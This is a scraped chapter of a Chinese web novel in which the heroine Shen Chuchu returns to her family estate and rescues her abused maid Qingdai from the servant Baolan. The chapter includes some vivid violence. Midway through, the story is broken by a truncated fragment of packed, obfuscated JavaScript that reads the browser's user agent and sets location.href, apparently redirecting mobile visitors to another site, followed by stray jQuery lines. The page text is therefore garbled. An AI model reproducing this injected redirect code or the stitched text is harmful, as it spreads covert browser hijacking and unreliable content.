默认冷灰
24号文字
方正启体

12. 青黛

作者:浮光予雪本书字数:K更新时间:
    沈府这边,宾客散尽,喧嚣退去。


    刺眼的白幡素缟等装饰被撤下,只余下满目狼藉和挥之不去的压抑。


    沈渊站在府门前,望着眼前这阔别了整整八年的家,心口如同被一把钢刀反复搅动,痛得他几乎喘不过气。


    这高门深院的一砖一瓦,一草一木,都浸透了他与蓉儿数十载的恩爱回忆,每一道回廊,每一扇窗棂,甚至脚下平整的青石板,都烙印着她的笑靥。


    如今,却成了他不敢轻易触碰的伤心冢。


    沈初初紧随父亲身后,当她终于踏进了八年未归的内院后,也不由得怔在原地,清澈的眼眸中满是愕然。


    这,是沈府?


    记忆中那个开阔敞亮,铺着平整青石板的练武场呢?


    那个每日清晨,父亲会带着大哥在此习武,母亲何语蓉则站在一旁含笑凝望的地方呢?


    原本空旷的庭院被塞得满满当当,奇花异草争奇斗艳,假山流水错落其间,甚至还在中央生生挖出了一方不小的荷花池!


    亭亭荷叶铺展,几朵娇荷点缀其中,倒也算得几分雅致。


    然而,这精心布置的花园景致,却彻底抹杀了昔日的痕迹,连一丝熟悉的影子都寻不见了。


    那些名贵的花种,此刻在沈初初眼中,只觉刺目无比。


    沈渊的目光沉沉扫过这片面目全非的庭院,脸色以肉眼可见的速度阴沉下去,周身散发着压抑的味道。


    那紧抿的唇角和微微颤抖的指尖,泄露了他此刻内心翻涌的苦痛。


    沈燕时刻留意着父亲的脸色,心头一紧,连忙上前一步,声音带着哀戚:


    “父亲,您离家的这些年,母亲她日日思念您,夜不能寐。女儿和姐姐又远在清风山,母亲独自守着这偌大的府邸,连个说知心话的人都没有。”


    她眼圈微红,仿佛强忍着泪水,“这思念之情郁结于心,母亲便只能将满腹愁肠寄托于这些花草,看着它们抽芽、开花,才稍解心中孤寂。”


    说着,一旁的赵玉婉仿佛被戳中了最深的痛处,干脆就直接抽泣了起来,一副楚楚可怜的模样。


    “老爷,”赵玉婉抬起泪眼朦胧的脸,“您莫要怪婉儿。这偌大的沈府,婉儿独自支撑这些年,每每心中凄苦,便只敢来这您昔日最常驻足的院子,看着您和姐姐曾站过的地方,睹物思人,聊以慰藉。许是思念太甚,不知不觉间,竟种下了这许多花草……”


    沈初初站在一旁,唇角勾起一抹几不可察的冷笑,心底早已翻了无数个白眼。


    好一番情深义重,睹物思人啊。


    她记得清清楚楚,就在她十岁那年,父亲和母亲走后没几日,赵玉婉便迫不及待地命人铲平了这方宽敞坚硬的练武场。


    什么睹物思人?分明是迫不及待地抹去母亲存在的一切痕迹。


    那些所谓慰藉相思的花草,连同脚下这条仅供赏玩的石子小径,都是在极短的时间内栽种铺设的。


    目的?再简单不过,就是要彻底毁掉她每日清晨雷打不动的练功之地。


    那时她才十岁,却已养成了随父母兄长一同晨起习武的习惯。


    赵玉婉,却连这点都容不下,母亲在时尚且收敛几分,母亲一走,便再无忌惮,将这承载着沈家武勋之风的庭院,彻底翻修成了她自己私有的雅园。


    她离家上清风山时,这院子虽已面目全非,却还没有这碍眼的荷花池。


    看来这些年,赵玉婉是越发肆无忌惮,将这翻新进行得更彻底了。


    沈渊听着赵玉婉哀怨的诉说,看着眼前这全然陌生的景致,心头五味杂陈,如同塞了一团浸透苦水的棉絮一般。


    八年,他何尝不想归家?


    只是蓉儿的尸骨,至今仍长眠在那片遥远的苦寒的北疆之地,未曾寻回。


    他守在那里,仿佛守着她最后的气息,守着未能护她周全的悔恨与执念。


    离开那里,就仿佛是要将她的魂魄彻底遗弃在那片雪原。


    沈渊看赵玉婉还在抽泣,虽内心有一丝丝未能尽当家主的愧疚,但内心深处还是被信里的内容而浇得透凉。


    他深吸口气,闭了闭眼,再睁开时,眼中只剩下疲惫与深沉的疏离。


    他看也未看仍在低低抽泣的赵玉婉,只沉声道:


    “罢了。都累了,各自歇息吧。晚膳前,任何人不得打扰。”


    说罢,他转身,步履沉重地朝着书房的方向走去。


    如今,恐怕唯有那间书房还残留着语蓉的气息。


    沈初初在沈渊走后径直转身,一个眼神都没给赵氏母女,朝着自己记忆深处的别院走去。


    当那扇熟悉的月洞门映入眼帘,门后显露的景象,让沈初初的脚步微微一顿。


    荒草萋萋,几乎掩没了小径,廊柱朱漆剥落,露出朽坏的木头。窗棂残破,糊窗的纸皮在风中呜咽作响,庭院里母亲亲手移栽的那株海棠,早已枯死,徒留嶙峋的枝干刺向天空。


    沈初初的唇角,却缓缓勾起一抹近乎释然的笑意。


    这里的一砖一瓦,一草一木都深深烙印着那些她最珍视的过往。


    母亲在此处手把手教她握剑,父亲在廊下指导着她的站姿,哥哥偷偷带她爬上屋顶看星星......


    那些被赵氏母女竭力抹杀的痕迹,在荒芜中反而更加清晰。


    此刻站在这片废墟般的故园里,她才终于感受到一丝久违的家的气息。


    然而,现在不是怀念过往的好时机,她还有更重要的事情要做,不知如今青黛如何了?这件事在她心头如同压着一块巨石。


    沈初初一路行来,身后始终不远不近地跟着几个仆从,个个低眉顺眼,却如影随形。


    心中冷笑。


    赵玉婉的体贴真是无微不至,表面上美其名曰供小姐使唤,实则派来的不过是几双眼睛和几对耳朵罢了。


    她毫不怀疑,自己踏入别院后的每一个细微动作,稍后便会一字不落地飞入赵玉婉的耳中。


    无妨。


    沈初初只在荒草丛生的别院中短暂驻足,便毫不犹豫地转身,朝着府邸西北角的马厩方向走去。


    她知道这个时辰是青黛打扫马厩的时辰。


    跟在仆从队伍末尾的一个老嬷嬷,眼皮猛地一跳!


    她原是赵玉婉院里的得力婆子,此刻眼见沈初初行进的方向,心头警铃大作,这大小姐,莫不是要去寻那贱婢青黛?!


    老嬷嬷浑浊的眼珠飞快转动,不动声色地狠掐了一把身边一个伶俐的小丫鬟,又朝主院方向使了个极其凌厉的眼色。


    那小丫鬟吃痛,立刻会意,趁着众人不注意,悄无声息地溜出队伍,朝着赵玉婉主院的方向飞奔而去。


    沈初初尚未走近马厩,一阵尖锐刺耳,饱含恶毒的叫骂声,便已穿透弥漫着草料与马粪气息的空气,刺入她耳中。


    “哭啊!怎么不继续哭了?刚才不是为你那短命的旧主哭得挺起劲儿吗?接着嚎丧啊!”


    马厩里回响着皮鞭啪啪作响的声音,令人心惊的是,鞭子落下之处,除了沉闷的“噗嗤”声,竟没有痛呼的叫喊,只有偶尔泄出被死死咬在齿间的闷哼。


    “嗬!没想到骨头还挺硬?我看你能撑到几时!”那挥鞭的丫鬟宝兰狞笑着,手臂高高扬起,眼看又一记狠鞭就要抽下。


    就在鞭子即将落下的瞬间,一只白皙的手如同铁钳般,骤然扣住了宝兰的手腕。


    那力道之大,瞬间扼杀了她所有的动作。


    宝兰甚至来不及惊愕,手腕上便传来一阵钻心剧痛!那只手猛地发力,一拧一折!


    “咔嚓!”


    一声令人颤栗的骨裂脆响清晰炸开。


    “啊—!!!”宝兰发出撕心裂肺的惨嚎。


    她整个人如同破麻袋般被那股巨力狠狠掼飞出去,重重砸在马厩角落散发着霉味的枯草堆上,那条被扭成诡异角度的胳膊软软垂落,剧痛让她蜷缩着身体,发出杀猪般的尖嚎。


    “哪个不长眼的狗东西敢动姑奶奶?!活腻歪了!!”


    马厩中央,刚才那个蜷缩在地上的瘦弱身影,缓缓抬起了头。


    她着一身粗麻白衣,头发散乱,手臂和脖颈上布满交错的鞭痕,鲜血正从最新的伤口处缓缓渗出。


    然而,当她的目光触及那个挡在她身前的熟悉身影时,那双原本黯淡绝望的眼眸,骤然爆发出难以置信的光。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15936805|177253||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >青黛瞳孔急剧收缩,干裂的嘴唇颤抖了起来。


    “小,小姐?”青黛的声音破碎嘶哑,带着不敢置信的颤抖。


    下一秒,巨大的狂喜与委屈如同决堤的洪水,瞬间冲垮了她所有的防线。


    “小姐!!!”


    她完全不顾满身钻心的鞭伤,手脚并用地从地上爬起,如同离弦之箭般扑了过去,死死抱住了沈初初的腿,仿佛要将自己揉进对方的骨血。


    压抑了不知多久的悲伤、恐惧、绝望和刻骨的思念,在这一刻化作惊天动地的嚎啕痛哭,滚烫的泪水瞬间浸透了沈初初的裙摆。


    是人?是鬼?于她而言都不重要!


    重要的是还能再见到小姐!


    前几日府里风言风语,她只当是恶毒诅咒,她的小姐怎么可能轻易折在山匪手里?


    可昨夜,当那刺眼的白幡挂满沈府,她心中那点微弱的侥幸,终于被彻底碾碎。


    她躲在肮脏的马厩角落,穿起了白衣,为小姐哭干了眼泪,哭哑了嗓子。


    今日,她不过是在清扫时,忍不住再次悲从中来,低低啜泣了几声,便被这宝兰逮住机会,以冲撞晦气为由,对她百般凌辱鞭打。


    宝兰被这凄厉的哭喊和那声“小姐”惊得连嚎叫都停滞了一瞬。


    她忍着剧痛,勉强睁开被冷汗糊住的眼睛,顺着青黛扑去的方向看去。


    当那张清冷却仿佛索命阎罗般的脸映入眼帘时,宝兰只觉得一股寒气冻结了浑身的血液。


    那张脸太像......


    她额头上刚刚疼出的一层冷汗,瞬间又覆上了一层更冰冷密集的汗珠。


    这难道是从地狱爬回来的厉鬼?!


    “宝兰,”沈初初的声音如同冰珠落玉盘,清泠泠,带着刺骨的寒意。


    她站在原地,居高临下地睥睨着蜷缩在草堆中的宝兰,那双清冷的眸子没有一丝波澜,更无半分温度,像是在审视一具早已僵冷的尸体。


    “多年不见,没想到你这打人的功夫丝毫没有退步啊。”


    一股无形的威压沉沉压下,引得宝兰浑身一阵颤栗,因剧痛渗出的薄汗被阴风一吹,激得她每一根汗毛都倒竖起来。


    这小贱人竟然没死?


    震惊过后,一股积年累月的轻蔑与仗势欺人的底气又涌了上来。


    没死又如何?小时候这对主仆在她手底下,还不是只有挨打受辱的份儿?哭都不敢大声哭!如今不过是在外面野了几年,还能翻了天不成?她背后可是站着二小姐,而赵氏才是这沈府实际的主子!怕她作甚?!


    宝兰强忍着手臂断裂的剧痛,深吸一口气,脸上挤出扭曲的笑容,开口讥讽:


    “呵,沈大小姐当真是命硬得很呐!阎王爷都不收?只可惜这往后啊,怕就没那么好的命数了。”


    青黛闻言,气得发抖,刚想驳斥,却被沈初初轻轻按住了肩膀。


    沈初初唇角微勾,“幼时承蒙宝兰姐的照顾,这大恩大德初初必不能忘。”


    脚尖随意一挑,地上那条沾着血迹的皮鞭鞭柄便落入她白皙的掌心。


    她看也未看,手腕微动,将其利落地别在了腰间,动作行云流水,利落干净。


    沈初初不再看宝兰那张扭曲的脸,而是低头看向紧紧抱着自己腿的青黛。


    目光触及青黛身上那件粗麻白衣,白衣上被鞭子抽破的地方,伤口狰狞地翻卷着,渗出刺目的暗红血迹。


    一股酸涩猛地冲上沈初初的鼻尖,眼眶瞬间发热。


    她从小跟着自己真是受了好多的苦,从今往后,她绝不允许任何人再动青黛一根手指!她们主仆二人,再不必过这种任人欺凌的日子!


    沈初初小心翼翼地将青黛从冰冷的地上扶起。


    “别怕,我们回家。”她低声道,声音柔软。


    这笔账,她记下了,待安顿好青黛,自有清算之时。


    然而,她刚扶着青黛转身,准备离开这片弥漫着血腥与恶臭的地方,只见沈燕与赵玉婉在七八个丫鬟婆子的簇拥下,步履匆匆地赶了过来。


    赵玉婉脸上堆满了一种古怪的关切,而沈燕眼中,则毫不掩饰地闪烁着幸灾乐祸和急于看戏的光芒。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)